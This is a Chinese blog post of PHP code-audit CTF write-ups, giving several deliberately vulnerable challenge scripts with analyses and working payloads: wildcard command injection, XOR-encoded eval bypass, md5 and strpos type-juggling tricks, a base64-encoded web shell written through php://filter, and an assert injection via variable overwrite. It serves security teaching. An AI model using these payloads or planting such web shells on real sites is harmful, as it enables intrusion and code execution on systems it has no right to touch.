php代码审计典型例题专题

road-5903402_1920

eval(2020NSSC)

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
//flag is located in flag.php
if( isset($_GET['a']) ){
$a = $_GET['a'];
if( strlen($a)>27 ){
die(strval(strlen($a)) . " Long.");
}
if( preg_match("/[A-Zb-z0-9_$.&;|^~![\](){}\$@\*]+/", $a) ){
die("NO.");
}
eval("echo '" . $a ."';");
} else {
show_source(__FILE__);
}
?>

代码分析

分析正则匹配发现字母a未过滤,特殊字符?未过滤;菊花一紧,想到铁铁的通配符绕过啊;

在当前目录下有flag.php

所以构造/bin/cat flag.php 即可读取文件内容

对于eval当中的拼接符号. 可以使用,绕过;并且利用反引号执行命令;

漏洞利用

payload:?a=',\/???/?a?%20??a?????`,’`

eval_xor

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
function getPos()
{
@include 'find.php';
echo $findflag;
}
?>
<?php
session_start();
if (isset ($_GET['cover']))
{
if ($_GET['cover'] == $_SESSION['cover'])
{
echo 'ok';
if(isset($_GET['code']))
{
if(strlen($_GET['code'])>35)
{
echo strlen($_GET['code']);
die("over maxlength!!");
}
else
{
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_.]+/",$code))
{
die("Hacher!!!");
}
else
{
@eval($code);
}
}
}
}
else
echo 'Access Deny';
}
else
{
highlight_file(__FILE__);
}
?>

代码分析

get传入的cover变量值必须要与session值相等,这里可以使用session绕过,直接传入一个空的cover;

通过get传入code变量值,code变量字符串的长度不能超过35位;且字符串不能含有数字、字母、_、.、+等特殊字符;

最终code变量带入eval函数,这里首先传入函数getPos();

关于怎么绕过的字符串的过滤,这里可以使用特殊字符串的异或来实现,直接上异或脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
chr1 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']

for i in chr1 :
for j in chr2 :
if chr(ord(i) ^ ord(j)) in ['g','e','t','P','o','s',]:
print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))

运行之后找到未被过滤的特殊字符串的亦或如下:
@xor'=g
%xor@=e
/xor[=t
}xor-=P
/xor@=o
-xor^=s

这里传入的code=$\_="@%/}/-"^"'@[-@^";$\_(); 但是_被过滤的,不怕,这里可用汉子代替,最终如下:

code=$淦="@%/}/-"^"'@[-@^";$淦();

运行之后得到flag在/fl4gnnn中;因为传入eval函数,可以直接构造执行命令/bin/cat /fl4gnnn;

通过脚本对fl4gnnn异或后发现,无论怎么异或n的特殊字符中均有. 但是.是被过滤的,所以这边考虑使用shell通配符实现;

构造/???/???%20/??????? 执行命令可以使用反引号,但是需要echo ,通过短标签的知识了解 等价于

所以最终形式为:?><?=/???/???%20/????????>

漏洞利用

payload:?cover&code=?><?=/???/???%20/????????>

bypass_strpos

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include 'flag.php';
header('referer:$_GET[\'100fc9da60f9ae9d6488451decdc0742\']');
if(isset($_GET['52384']))
{
show_source(__FILE__);
}
else if(isset($_GET['a']))
{
if(md5($_GET['a']) == md5('s155964671a') && substr($_GET['a'],-1) == 8)
{
if(preg_match("/goodjob/", $_GET['b']) === FALSE && strpos ($_GET['b'], 'goodjob') !== FALSE)
{
$text = @$_REQUEST['d'];
@eval("var_dump($text);");
}
else
die('no,no,no');
}
else
die('no,no,no');
}
else
echo 'welcome';
?>

代码分析

首先通过GET传参接收一个md5的加密值;

抓包后在,在响应头信息中可以发现referer:$_GET['100fc9da60f9ae9d6488451decdc0742']’;

炸眼一看,确定是一串加密值,首先对这个进行get传参,发现没有,说明不是直接传入md5加密值。尝试对该md5值进行明文爆破,得到其明文为52384,get传入该值直接获取源码;

分析源码第一个判断是变量a的md5值与给定明文的md5值相等,并且要保证其值的最后一位为8;那么直接md5碰撞呗,找到其值为240610708;

第二个判断是参数b经过strpos函数,strpos函数是用户字符串查找的;这里可以直接用空数组绕过,即b[]=;

最后传入变量d经过eval函数,变量在var_dump函数中,直接传入$flag;

漏洞利用

payload:?a=240610708&b[]=&d=$flag

bypass_exit

题目源码

1
2
3
4
5
6
7
8
9
10
11
<?php
$a = '<?php exit(0);?>';
$a .= @$_POST['c'];
$file = @$_POST['file'];
if (isset($file)){
file_put_contents($file, $a);
}else{
show_source(__FILE__);
// flag in flag.php
}
?>

代码分析

首先将代码<?php exit(0);?>赋值给变量$a;

通过POST方式接受变量c的内容拼接变变量$a中,这样不论如何,写入的shell都无法被正常利用;

这里使用base64-decode的方式对其进行绕过,因为base64在解码时,会对<、?、;、>这些特殊字符进行忽略,那么原本的第一行代码就变成了phpexit;

漏洞利用

payload:c=PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+&file=php://filter/write=convert.base64-decode/resource=shell.php

成功写入shell:cmd=system(‘cat flag.php’);

Baby PHP(hacklu CTF 2018)

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

require_once('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}

if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}

$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){
die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;

代码分析

part 1

1
2
3
4
@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}

1、通过get获取变量$msg内容,经过一个判断带入到函数file_get_contents()中,使得结果为”Hello Challenge!”。这里有两种绕过方式:

msg=data://plain/text,Hello Challenge!

msg=php://input post:Hello Challenge!

part 2

1
2
3
4
5
6
7
8
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}

2、通过get获取变量$k1,$k2。判断变量$k1的整数值与$cc不相等;并且$k1要恒等于$cc(恒等于就是变量类型也要一致)。这边我们可以知道$k1是通过key1获取得到,所以k1永远是字符串类型,所以$k1===$cc永远为false;所以只能使$k1=1337;

part 3

1
2
3
4
5
6
7
if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}

3、判断变量k2的长度是否等于$bb,也就是42位;第二个if通过正则判断变量$k2是否为纯数字加上$结尾,此处的符号和我们平时见过的$符号不一样,这个是unicode编码的$符号;条件!is_numeric($k2)默认是恒成立的;要使第三个if成立,则可以使k2中含有数字1337;为了满足长度为42位我们可以使用0进行填充占位;特殊字符$可以对其进行url编码得到%EF%BC%84,该字符占三位长度;则最终k2=000000000000000000000000000000000001337%EF%BC%84

part 4

1
2
3
4
5
6
7
list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}

4、首先对变量k1,k2进行列表位置调换;变量$cc重新通过get方式获取;传递数组进入函数substr()和sha1()中,两函数返回的结果都为null,使得条件成立。

part 5

1
2
3
4
5
$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){
die("lel no\n");
}

5、我们看第一行代码有些特殊,这行代码因为在字符串前插入了\u202e,那么后续的字符就会反转。放入编辑器后,就可以看出正确的代码格式为$b="2";$a="b";//1=b。判断中$$a == $($a) == $b == 2 ;这里只要使得$k1=2即可。回到part4判断成立的循环中,foreach通过get获取参数的覆盖掉全局变量,那这个很好办了,直接传入k1=2即可pass。

part 6

1
2
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

6、assert可以调用函数,并且前面我们知道foreach可以全局变量覆盖,那么我们只要构造出assert(var_dump($flag);)即可;里面$bb=$cc,那么传入cc=var_dump($flag);//即可完成

漏洞利用

payload:192.168.1.191:32768/?msg=data://plain/text,Hello Challenge!&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=&k1=2&bb=var_dump($flag);//

作者

丨greetdawn丨

发布于

2020-12-04

更新于

2023-05-05

许可协议

评论